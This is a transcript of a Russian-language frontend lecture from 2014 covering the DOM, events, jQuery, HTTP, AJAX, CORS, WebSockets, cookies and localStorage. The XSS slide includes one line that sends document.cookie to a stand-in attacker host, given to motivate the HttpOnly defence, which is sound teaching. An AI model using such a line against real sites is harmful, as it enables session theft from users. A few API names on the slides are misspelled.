frontend весна 2014 лекция 3

107
1 DOM, Events

Upload: technopark

Post on 22-May-2015

213 views

Category:

Education


2 download

TRANSCRIPT

Page 1: Frontend весна 2014 лекция 3

1 DOM, Events

Page 2: Frontend весна 2014 лекция 3

Native objects

Native object — object in an ECMAScript implementation whose semantics

are fully defined by this specification rather than by the host environment.

Section 4.3.6, ECMAScript 5.1“2

Page 3: Frontend весна 2014 лекция 3

Native objects

Object

Array

Date

Array.prototype.indexOf

String.prototype.replace

01.

02.

03.

04.

05.

06.

07.

3

Page 4: Frontend весна 2014 лекция 3

Host objects

Host object — object supplied by the host environment to complete the

execution environment of ECMAScript.

Section 4.3.8, ECMAScript 5.1“4

Page 5: Frontend весна 2014 лекция 3

Host objects

window

document

history

document.getElementById

01.

02.

03.

04.

05.

06.

5

Page 6: Frontend весна 2014 лекция 3

DOM

Page 7: Frontend весна 2014 лекция 3

Document Object Model

1.  DOM Core: Node, Element, Document, Event…

2.  DOM Events

DOM Reference

7

Page 8: Frontend весна 2014 лекция 3

Node

element.nodeType /* 1, 3… */

element.tagName /* "DIV", "A"… */

element.nodeValue

01.

02.

03.

8

Page 9: Frontend весна 2014 лекция 3

Обход дерева

element.previousSibling || element.nextSibling

element.firstChild || element.lastChild

element.parentNode

element.childNodes

element.children

Демонстрация

01.

02.

03.

04.

05.

9

Page 10: Frontend весна 2014 лекция 3

Поиск элемента

document.getElementById /* element */

element.getElementsByTagName /* HTMLCollection */

element.getElementsByClassName /* HTMLCollection */

element.querySelector /* element */

element.querySelectorAll /* elementList */

Демонстрация

01.

02.

03.

04.

05.

10

Page 11: Frontend весна 2014 лекция 3

jQuery

$('#page') /* ⟷ document.getElementById('page') */

$('div') /* ⟷ document.getElementsByTagName('div') */

$('.link') /* ⟷ document.getElementsByClassName('link') */

$('#page div .link') /* ⟷

document.querySelectorAll('#page div .link') */

01.

02.

03.

04.

05.

11

Page 12: Frontend весна 2014 лекция 3

HTMLCollection (live-NodeList )

length

item(index)

[index]

01.

02.

03.

12

Page 13: Frontend весна 2014 лекция 3

HTMLCollection (live-NodeList )

var links = document.getElementsByTagName('a');

for (var i = 0, l = links.length; i < l; i++) {

/* links[i] */

}

01.

02.

03.

04.

13

Page 14: Frontend весна 2014 лекция 3

HTMLCollection vs. Array

length

[index]

forEach(fn)

map(fn)

indexOf(item)

01.

02.

03.

04.

05.

06.

14

Page 15: Frontend весна 2014 лекция 3

HTMLCollection vs. Array

var links = document.getElementsByTagName('a');

var linksArray = Array.prototype.slice.call(links);

linksArray.forEach(function (link) {

/* link */

});

01.

02.

03.

04.

05.

15

Page 16: Frontend весна 2014 лекция 3

jQuery

$('a').each(function (i, link) {

var $this = $(this); /* link */

});

01.

02.

03.

16

Page 17: Frontend весна 2014 лекция 3

Модификация узла

element.id = "" /* ⟷ id */

element.className = "" /* ⟷ class */

element.classList /* ⟷ class */

01.

02.

03.

17

Page 18: Frontend весна 2014 лекция 3

Модификация узла

element.getAttribute("class")

element.setAttribute("class", className)

element.hasAttribute("class")

element.removeAttribute("class")

01.

02.

03.

04.

18

Page 19: Frontend весна 2014 лекция 3

jQuery

$(element).attr("class") /* ⟷ element.getAttribute("class") */

$(element).attr("class", className) /* ⟷

element.setAttribute("class", className) */

$(element).removeAttr("class") /* ⟷

element.removeAttribute("class") */

01.

02.

03.

04.

05.

19

Page 20: Frontend весна 2014 лекция 3

attr vs. prop

<input type="checkbox" checked="checked" />

element.checked /* true */

$(element).prop("checked") /* true */

element.getAttribute("checked") /* "checked" */

$(element).attr("checked") /* "checked" */

01.

02.

03.

04.

20

Page 21: Frontend весна 2014 лекция 3

dataset

<div data-value="true" data-company-name="Mail.ru" />

element.dataset.value /* "true" */

element.dataset.companyName /* "Mail.ru" */

$(element).data("value") /* "true" */

$(element).data("companyName") /* "Mail.ru" */

01.

02.

03.

04.

21

Page 22: Frontend весна 2014 лекция 3

Модификация дерева

document.createElement("div")

parent.appendChild(child)

parent.insertBefore(child, referenceElement)

parent.removeChild(child)

01.

02.

03.

04.

22

Page 23: Frontend весна 2014 лекция 3

jQuery

$("body").append("<div class="page">…</div");

$("<div class="page">…</div").appendTo("body");

/* prepent, perependTo */

01.

02.

03.

23

Page 24: Frontend весна 2014 лекция 3

Events

Page 25: Frontend весна 2014 лекция 3

DefaultView

Document

<html>

<body>

<table>

<tbody>

<tr> <tr>

<td>

Shady Grove

<td>

Aeolian

<td>

Over the River, Charlie

<td>

Dorian

Capture Phase (1)

Target Phase (2)

Bubbling Phase (3)

Page 26: Frontend весна 2014 лекция 3

Events

element.addEventListener(type, listener[, useCapture])

element.removeEventListener(type, listener[, useCapture])

Демонстрация

01.

02.

26

Page 27: Frontend весна 2014 лекция 3

jQuery

$(element).on(type, listener) /* ⟷

element.addEventListener(type, listener, false) */

$(element).off(type, listener) /* ⟷

element.removeEventListener(type, listener, false) */

01.

02.

03.

04.

27

Page 28: Frontend весна 2014 лекция 3

Свойства события

event.type

evnet.eventPhase

event.target

event.curentTarget

event.preventDefault()

event.stopPropogation()

event.stopImmediatePropagation()

01.

02.

03.

04.

05.

06.

07.

28

Page 29: Frontend весна 2014 лекция 3

Источники событий

Element

document

window

XMLHttpRequest

01.

02.

03.

04.

05.

29

Page 30: Frontend весна 2014 лекция 3

Input device events

click, dblclick

contextmenu

keydown, keyup, keypress

mousein, mouseout, mousemove

mouseenter, mouseleave

mousedown, mouseup

01.

02.

03.

04.

05.

06.

30

Page 31: Frontend весна 2014 лекция 3

Form events

reset

submit

01.

02.

31

Page 32: Frontend весна 2014 лекция 3

Focus events

focus

blur

change

01.

02.

03.

32

Page 33: Frontend весна 2014 лекция 3

Document events

load, unload

DOMContentLoaded

01.

02.

33

Page 34: Frontend весна 2014 лекция 3

Window events

hashchange

resize

01.

02.

34

Page 35: Frontend весна 2014 лекция 3

Event delegation

$('table').on('click', 'td', function (e) {

alert(e.target);

});

Демонстрация

01.

02.

03.

35

Page 36: Frontend весна 2014 лекция 3

Домашнее задание

РЕАЛИЗАЦИЯ ИГРОВОЙ МЕХАНИКИ

ДОРАБОТАТЬ ПРОТОТИП ПО ТЗ

01.

02.

36

Page 37: Frontend весна 2014 лекция 3

2 Сетевоевзаимодействие

Page 38: Frontend весна 2014 лекция 3

Uniform resource locator

scheme://domain:port/path?query_string#fragment_id

location.protocol /* "scheme:" */

location.hostname /* "domain" */

location.port /* "port" */

location.pathname /* "/path" */

location.search /* "?query_string" */

location.hash /* "#fragment_id" */

01.

02.

03.

04.

05.

06.

07.

38

Page 39: Frontend весна 2014 лекция 3

HyperText Transfer Protocol

ПРОТОКОЛ ПРИКЛАДНОГО УРОВНЯ (7-ОЙ УРОВЕНЬ OSI)

КЛИЕНТ (ЗАПРОС) — СЕРВЕР (ОТВЕТ)

НЕ ХРАНИТ СОСТОЯНИЕ МЕЖДУ ЗАПРОСАМИ

ПРОСТ В РЕАЛИЗАЦИИ

РАСШИРЯЕМЫЙ

РАСПРОСТРАНЕННЫЙ

01.

02.

03.

04.

05.

06.

39

Page 40: Frontend весна 2014 лекция 3

OSI

ФИЗИЧЕСКИЙ (СРЕДА, СИГНАЛЫ, КОДЫ)

КАНАЛЬНЫЙ (ФИЗИЧЕСКАЯ АДРЕСАЦИЯ)

СЕТЕВОЙ (ЛОГИЧЕСКАЯ АДРЕСАЦИЯ, МАРШРУТИЗАЦИЯ)

ТРАНСПОРТНЫЙ (НАДЕЖНОСТЬ)

СЕАНСОВЫЙ (СЕССИИ)

ПРЕДСТАВИТЕЛЬСКИЙ (СЖАТИЕ, ШИФРОВАНИЕ)

ПРИКЛАДНОЙ (ДОСТУП К ДАННЫМ)

01.

02.

03.

04.

05.

06.

07.

40

Page 41: Frontend весна 2014 лекция 3

HTTP

1991 HTTP/0.9

1996 HTTP/1.0

1999 HTTP/1.1

01.

02.

03.

41

Page 42: Frontend весна 2014 лекция 3

Структура протокола

СТАРТОВАЯ СТРОКА // >= HTTP/0.9

ЗАГОЛОВКИ // >= HTTP/1.0

ТЕЛО СООБЩЕНИЯ // >= HTTP/1.0

01.

02.

03.

42

Page 43: Frontend весна 2014 лекция 3

http://mail.ru/

GET / HTTP/1.1

Host: mail.ru

Accept: text/html,application/xhtml+xml,…

Connection: keep-alive

Accept-Encoding: gzip,deflate,sdch

Accept-Language: en-US,en;q=0.8,ru;q=0.6

User-Agent: Mozilla/5.0 … Safari/537.36

01.

02.

03.

04.

05.

06.

07.

43

Page 44: Frontend весна 2014 лекция 3

HTTP/1.1 200 OK

Date: Sun, 16 Feb 2014 22:09:34 GMT

Server: Apache/1.3.27 (Unix) …

Content-Encoding: gzip

Connection: close

Cache-Control: no-cache,no-store,must-revalidate

Content-Length: 50316

Content-Type: text/html; charset=utf-8

<!DOCTYPE html>…

01.

02.

03.

04.

05.

06.

07.

08.

09.

10.44

Page 45: Frontend весна 2014 лекция 3

Методы

GET // ЗАПРОС ДАННЫХ

POST // ПЕРЕДАЧА ДАННЫХ

PUT // ЗАГРУЗКА СОДЕРЖИМОГО ЗАПРОСА

DELETE // УДАЛЕНИЕ РЕСУРСА

HEAD // ПОЛУЧЕНИЕ ТОЛЬКО ЗАГОЛОВКОВ

OPTIONS // ОПРЕДЕЛЕНИЕ ВОЗМОЖНОСТЕЙ СЕРВЕРА

01.

02.

03.

04.

05.

06.

07.

45

Page 46: Frontend весна 2014 лекция 3

Коды ответов

ИНФОРМАЦИОННЫЕ // 1xx

УСПЕШНЫЕ // 2xx

ПЕРЕНАПРАВЛЕНИЕ // 3xx

ОШИБКА КЛИЕНТА // 4xx

ОШИБКА СЕРВЕРА // 5xx

01.

02.

03.

04.

05.

46

Page 47: Frontend весна 2014 лекция 3

200 // OK

301 // Moved Permanently

302 // Moved Temporarily

304 // Not Modified

400 // Bad Request

401 // Unauthorized

404 // Not Found

405 // Method Not Allowed

414 // Request-URI Too Large

01.

02.

03.

04.

05.

06.

07.

08.

09.

47

Page 48: Frontend весна 2014 лекция 3

500 // Internal Server Error

502 // Bad Gateway

503 // Service Unavailable

504 // Gateway Timeout

01.

02.

03.

04.

48

Page 49: Frontend весна 2014 лекция 3

AJAX =AsynchronousJavaScript + XML

Page 50: Frontend весна 2014 лекция 3

AJAX

AJAX — подход к построению интерактивных пользовательских

интерфейсов веб-приложений, заключающийся в «фоновом» обмене

данными браузера с веб-сервером.

Википедия

“50

Page 51: Frontend весна 2014 лекция 3

PROs

ЭКОНОМИЯ ТРАФИКА

СНИЖЕНИЕ НАГРУЗКИ НА СЕРВЕР-САЙД

УСКОРЕНИЕ РЕАКЦИИ ИНТЕРФЕЙСА

ИНТЕРАКТИВНЫЙ ВОЗМОЖНОСТИ

01.

02.

03.

04.

51

Page 52: Frontend весна 2014 лекция 3

CONs

ТРУДНОСТИ ИНДЕКСИРОВАНИЯ

УСЛОЖНЕНИЕ РАЗРАБОТКИ

ТРЕБУЕТСЯ JAVASCRIPT

01.

02.

03.

52

Page 53: Frontend весна 2014 лекция 3

Способы

XMLHttpRequest

JSONP

IFRAME

CORS

WebSockets

01.

02.

03.

04.

05.

53

Page 54: Frontend весна 2014 лекция 3

XMLHttpRequest

var xhr = new XMLHttpRequest();

xhr.open("GET", "http://mail.ru/", true);

xhr.send(null);

01.

02.

03.

54

Page 55: Frontend весна 2014 лекция 3

XMLHttpRequest

xhr.onreadystatechange = function (e) {

/* e.target === xhr; */

if (xhr.readyState === 4) {

if (xhr.status === 200) {

alert(xhr.responseText);

}

}

};

01.

02.

03.

04.

05.

06.

07.

08. 55

Page 56: Frontend весна 2014 лекция 3

readyState

0 /* UNSENT — до open() */

1 /* OPENED — до send() */

2 /* HEADERS_RECEIVED — данные еще не получены */

3 /* LOADING — данные начали поступать */

4 /* DONE — данные получены */

01.

02.

03.

04.

05.

56

Page 57: Frontend весна 2014 лекция 3

xhr.readyState === 4

xhr.status /* Number */

xhr.responseText /* String */

xhr.responseXML /* XMLDocument */

01.

02.

03.

57

Page 58: Frontend весна 2014 лекция 3

Same-origin policy

https://e.mail.ru/messages/inbox/ (ORIGIN)

https://e.mail.ru/compose/ (SAME-ORIGIN)

http ://e.mail.ru/compose/ (CROSS-ORIGIN)

https://e.mail.ru: 8080 /compose/ (CROSS-ORIGIN)

https:// news .mail.ru/ (CROSS-ORIGIN)

01.

02.

03.

04.

05.

58

Page 59: Frontend весна 2014 лекция 3

JSONP

<script>

function resultHnd(json) {

/* json */

}

</script>

<script src="http://example.com/users/?cb=resultHnd">

</script>

01.

02.

03.

04.

05.

06.

07.

59

Page 60: Frontend весна 2014 лекция 3

JSONP

> GET /users/?cb=resultHnd HTTP/1.0

< resultHnd({ … });

> GET /users/?cb=resultHndN HTTP/1.0

< resultHndN({ … });

01.

02.

03.

04.

05.

60

Page 61: Frontend весна 2014 лекция 3

IFRAME (SAME-ORIGIN)

<iframe name="req" src="javascript:false"

style="display:none"></iframe>

<script>

function resultHnd(json) {

/* json */

}

</script>

01.

02.

03.

04.

05.

06.

07.

61

Page 62: Frontend весна 2014 лекция 3

IFRAME (SAME-ORIGIN)

<form action="/ifecho" method="post" target="req">

<input type="hidden" name="cb" value="resultHnd" />

<input type="text" name="msg" value="Hello" />

</form>

01.

02.

03.

04.

62

Page 63: Frontend весна 2014 лекция 3

IFRAME (SAME-ORIGIN)

> POST /ifecho HTTP/1.0

> …

< <script>

< window.parent.resultHnd({ … });

< </script>

01.

02.

03.

04.

05.

06.

63

Page 64: Frontend весна 2014 лекция 3

IFRAME (CROSS-ORIGIN)

> POST /ifecho HTTP/1.0

> …

< <script>

< window.parent.resultHnd({ … });

< </script>

01.

02.

03.

04.

05.

06.

64

Page 65: Frontend весна 2014 лекция 3

IFRAME (CROSS-ORIGIN)

> POST /ifecho HTTP/1.0

> …

< <script>

< window.parent.postMessage("resultHnd:{ … }", "*");

< </script>

01.

02.

03.

04.

05.

06.

65

Page 66: Frontend весна 2014 лекция 3

IFRAME (CROSS-ORIGIN)

IFRAME (ДЛЯ ЗАГРУЗКИ) +

JSONP (ДЛЯ ОТСЛЕЖИВАНИЯ СТАТУСА)

01.

02.

66

Page 67: Frontend весна 2014 лекция 3

Cross-Origin Resource Sharing

/* Origin: tech-mail.ru */

var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function (e) { };

xhr.open("GET", "http://mail.ru/", true);

xhr.send(null);

01.

02.

03.

04.

05.

67

Page 68: Frontend весна 2014 лекция 3

Cross-Origin Resource Sharing

> GET / HTTP/1.1

> Host: mail.ru

> Referer: http://tech-mail.ru/

> Origin: http://tech-mail.ru/

> User-Agent: Mozilla/5.0 …

01.

02.

03.

04.

05.

68

Page 69: Frontend весна 2014 лекция 3

Cross-Origin Resource Sharing

< HTTP/1.1 200 OK

< Content-Type: text/html; charset=utf-8

< Content-Length: 201474

< …

01.

02.

03.

04.

69

Page 70: Frontend весна 2014 лекция 3

Cross-Origin Resource Sharing

XMLHttpRequest cannot load http://mail.ru/.

No 'Access-Control-Allow-Origin' header is present

on the requested resource. Origin 'http://tech-mail.ru'

is therefore not allowed access.

01.

02.

03.

04.

70

Page 71: Frontend весна 2014 лекция 3

Cross-Origin Resource Sharing

< HTTP/1.1 200 OK

< Access-Control-Allow-Origin: *

< Content-Type: text/html; charset=utf-8

< Content-Length: 201474

< …

01.

02.

03.

04.

05.

71

Page 72: Frontend весна 2014 лекция 3

CORS With Credentials

/* Origin: tech-mail.ru */

var xhr = new XMLHttpRequest();

xhr.withCredentials = true;

< Access-Control-Allow-Origin: http://tech-mail.ru

< Access-Control-Allow-Credentials: true

01.

02.

03.

04.

05.

06.

72

Page 73: Frontend весна 2014 лекция 3

Comet

Comet — любая модель работы веб-приложения, при которой

постоянное HTTP-соединение позволяет веб-серверу отправлять

(push) данные браузеру без дополнительного запроса со стороны

браузера.

Википедия

“73

Page 74: Frontend весна 2014 лекция 3

Comet

IFRAME /* …<script>…</script>…<script>…</script>… */

WebSockets

01.

02.

74

Page 75: Frontend весна 2014 лекция 3

Поддержка WebSockets

Chrome 16 & Chrome for Android 16

Firefox 11

Internet Explorer 10

Opera 12.10

Safari 6.0 & Safari Mobile 6.0

01.

02.

03.

04.

05.

75

Page 76: Frontend весна 2014 лекция 3

Особенности WebSockets

Upgrades from HTTP 1.1

Cross-Origin Resource Sharing (CORS)

Message-based

01.

02.

03.

76

Page 77: Frontend весна 2014 лекция 3

Использование WebSockets

var connection = new WebSocket('ws://example.com/echo');

connection.onopen = function () { … };

connection.onerror = function (error) { … };

connection.onmessage = function (e) { /* e.data */ };

connection.send(msg);

01.

02.

03.

04.

05.

77

Page 78: Frontend весна 2014 лекция 3

Домашнее задание

ВЗАИМОДЕЙСТВИЕ С СЕРВЕРОМ С ПОМОЩЬЮ AJAX

78

Page 79: Frontend весна 2014 лекция 3

Подготовка

$ git remote add tp \

→ https://github.com/eprev/frontend-stub.git

$ git remote update

$ git merge tp/v4

01.

02.

03.

04.

79

Page 80: Frontend весна 2014 лекция 3

Разрешаем конфикты

$ git status

$ git add …

$ git commit -m "Fix merge conflicts"

$ grunt

01.

02.

03.

04.

80

Page 81: Frontend весна 2014 лекция 3

Запускаем

$ npm install

$ grunt

01.

02.

81

Page 82: Frontend весна 2014 лекция 3

3 Хранениеданных

Page 83: Frontend весна 2014 лекция 3

HTTP is astateless protocol

Page 84: Frontend весна 2014 лекция 3

Cookies

Page 85: Frontend весна 2014 лекция 3

Cookies

Куки — небольшой фрагмент данных, отправленный веб-сервером и

хранимый на компьютере пользователя. Веб-клиент (обычно веб-

браузер) всякий раз при попытке открыть страницу

соответствующего сайта пересылает этот фрагмент данных веб-

серверу в виде HTTP-запроса.

Википедия

“85

Page 86: Frontend весна 2014 лекция 3

Использование

АУТЕНТИФИКАЦИЯ

ХРАНЕНИЕ НАСТРОЕК ПОЛЬЗОВАТЕЛЕЙ

ОТСЛЕЖИВАНИЕ СЕАНСА

СБОР СТАТИСТИКИ

01.

02.

03.

04.

86

Page 87: Frontend весна 2014 лекция 3

Спецификация

ДО 4096 БАЙТ МИНМУМ

МИНИМУМ 20 ШТ. НА ДОМЕН

МИНИМУМ 300 ШТ. ВСЕГО

ИМЕНЯ НЕЧУВСТВИТЕЛЬНЫ К РЕГИСТРУ

01.

02.

03.

04.

87

Page 88: Frontend весна 2014 лекция 3

1 Клиент → Сервер

GET / HTTP/1.1

Host: example.com

01.

02.

03.

88

Page 89: Frontend весна 2014 лекция 3

2 Клиент ← Сервер

HTTP/1.1 200 OK

Set-Cookie: name=value

Content-Type: text/html

01.

02.

03.

04.

89

Page 90: Frontend весна 2014 лекция 3

3 Клиент → Сервер

GET / HTTP/1.1

Host: example.com

Cookie: name=value

01.

02.

03.

04.

90

Page 91: Frontend весна 2014 лекция 3

4 Клиент ← Сервер

HTTP/1.1 200 OK

Set-Cookie: name=newValue

Content-Type: text/html

01.

02.

03.

04.

91

Page 92: Frontend весна 2014 лекция 3

Set-Cookie

Set-Cookie: value[; expires=date][; domain=domain]

[; path=path][; secure][; HttpOnly]

01.

02.

92

Page 93: Frontend весна 2014 лекция 3

Set-Cookie’s expires

Set-Cookie: value; expires=Sat, 01 March 2014 13:21:34 GMT

93

Page 94: Frontend весна 2014 лекция 3

Set-Cookie’s domain

Set-Cookie: value1; domain=.mail.ru

Set-Cookie: value2; domain=e.mail.ru

94

Page 95: Frontend весна 2014 лекция 3

Set-Cookie’s path

Set-Cookie: value1; path=/

Set-Cookie: value2; path=/check

Set-Cookie: value3; path=/checkout

95

Page 96: Frontend весна 2014 лекция 3

Cookie ID

Set-Cookie: name=value1; domain=.example.com; path=/

Set-Cookie: name=value2; domain=www.example.com; path=/

Set-Cookie: name=value3; domain=.example.com; path=/archive

Cookie: name=value1; name=value2; name=value3

01.

02.

03.

96

Page 97: Frontend весна 2014 лекция 3

JavaScript

document.cookie; /* "name=newValue" */

document.cookie = "name2=value";

document.cookie; /* "name=newValue; name2=value" */

01.

02.

03.

97

Page 98: Frontend весна 2014 лекция 3

Cross Site Scripting (XSS)

(new Image()).src = "http://evil-domain.com/?cookie=" +

document.cookie;

01.

02.

98

Page 99: Frontend весна 2014 лекция 3

HttpOnly

Set-Cookie: name1=value;

Set-Cookie: name2=value; HttpOnly

document.cookie; /* "name1=value" */

01.

02.

99

Page 100: Frontend весна 2014 лекция 3

localStorage

Page 101: Frontend весна 2014 лекция 3

window.localStorage

localStorage[key]; /* String */

localStorage[key] = value; /* String */

01.

02.

101

Page 102: Frontend весна 2014 лекция 3

window.localStorage

localStorage.length

localStorage.key(i)/* String */

localStorage.getItem(key) /* String */

localStorage.setItem(key, value)

localStorage.removeItem(key)

localStorage.clear()

01.

02.

03.

04.

05.

06.

102

Page 103: Frontend весна 2014 лекция 3

Событие storage

window.addEventListener("storage", function (e) {

/* e.key, e.newValue */

})

01.

02.

03.

103

Page 104: Frontend весна 2014 лекция 3

JSON

function setJSON(key, value) {

localStorage[key] = JSON.stringify(value);

}

function getJSON(key) {

var value = localStorage[key];

return value ? JSON.parse(value) : null;

}

01.

02.

03.

04.

05.

06.

07.

104

Page 105: Frontend весна 2014 лекция 3

sessionStorage

Page 106: Frontend весна 2014 лекция 3

Что есть еще?

IndexedDB

FileSystem

01.

02.

106

Page 107: Frontend весна 2014 лекция 3

Домашнее задание

СОХРАНЕНИЕ РЕЗУЛЬТАТОВ ИГРЫ, ПРИ ОСТУСТВИИ СВЯЗИ.

107